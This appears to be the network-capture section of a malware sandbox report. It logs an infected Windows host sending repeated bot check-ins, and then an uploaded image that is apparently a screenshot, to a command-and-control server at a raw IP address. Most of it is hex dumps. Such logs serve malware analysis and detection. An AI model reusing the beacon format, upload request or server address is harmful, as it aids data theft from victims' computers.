Apr 28, 2021 23:22:27.896210909 CEST	1580	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.5	49908	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:16.829340935 CEST	3863	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	176.111.174.114	80	192.168.2.5	49908	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:16.930546045 CEST	3872	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:16 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.5	49912	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:17.135929108 CEST	3873	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	176.111.174.114	80	192.168.2.5	49912	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:17.233527899 CEST	3874	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.5	49913	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:17.458781958 CEST	3878	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	176.111.174.114	80	192.168.2.5	49913	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:17.561016083 CEST	3897	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.5	49914	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:17.774821997 CEST	3911	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	176.111.174.114	80	192.168.2.5	49914	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:17.872345924 CEST	3911	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.5	49915	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.097688913 CEST	3912	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	176.111.174.114	80	192.168.2.5	49915	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.207536936 CEST	3912	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	176.111.174.114	80	192.168.2.5	49728	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:27.995414019 CEST	1581	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.5	49916	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.420310974 CEST	3913	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	176.111.174.114	80	192.168.2.5	49916	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.519346952 CEST	3913	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.5	49917	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.558845043 CEST	3927	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:18.664217949 CEST	3930	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:18.664309025 CEST	3953	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:18.768126965 CEST	3956	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:18.768460989 CEST	3959	OUT	Data Raw: 0c cb 71 37 d8 ed 60 89 63 9e 09 44 6d 3c c7 cb 33 24 7b 3c 17 f6 84 fd ae 7f 6b 2f da ca de fa c3 f6 8e f8 d9 3f 8a 20 d4 f5 4d 3f 51 d4 8c fa 45 94 12 de 5d 58 d8 9b 0b 49 66 96 08 11 e5 68 ed 99 d0 6e 62 09 91 dc e5 dd 98 af 86 7f 6a ff 00 da Data Ascii: q7`cDm<3${<k/? M?QE]XIfhnbjwLv~H+jzfZ9{KKimu=rf82n_ros{]'.kEF1KNQi}~,O\|5oTW+o6u#JuV-!>q
Apr 28, 2021 23:23:18.768486977 CEST	3962	OUT	Data Raw: 3e ed 2c 71 fb d5 c6 24 73 09 e5 a7 f7 69 63 8d 37 7d da 73 f5 a5 55 db 4c cf 99 8b 45 14 56 84 8a 9f 7a a6 4f bb 51 c6 b5 2d 69 ef 91 20 a7 a7 4a 6a 7d ea 92 2f e9 5a 40 c8 92 3e a2 a4 4f bd 4c 8f bd 4a 9f 76 b7 89 8c 85 d9 fe cf e9 45 39 57 b9 Data Ascii: >,q$sic7}sULEVzOQ-i Jj}/Z@>OLJvE9WSZe=>-=cj)Hj}1?>2$-H$qjhR`65)8%qO>njLe!:}d}Og]12zvM/#VD:9=ijZNYHs0M"tj^IJ
Apr 28, 2021 23:23:18.768789053 CEST	3980	OUT	Data Raw: 41 ed ab f5 47 3a d0 c8 3e fc 66 94 47 eb 19 5a e8 c5 ed 8c dc 3c 35 34 70 e8 f7 1f 7e 1c 54 fd 4f 9b e1 90 be b7 cb bc 4e 53 26 91 73 8e 6b ab 93 46 d2 5f 98 e4 c5 40 7c 35 63 3f fa b9 45 2f a8 d4 ee 54 71 b4 9e e8 e7 29 eb 8d a3 3e b5 b4 de 11 Data Ascii: AG:>fGZ<54p~TONS&skF_@\|5c?E/Tq)>MT}VkB]LON&&}}X?)g4S5+S6S1#vzO/4:%35>5j/$)T\|EiQir6E*I#
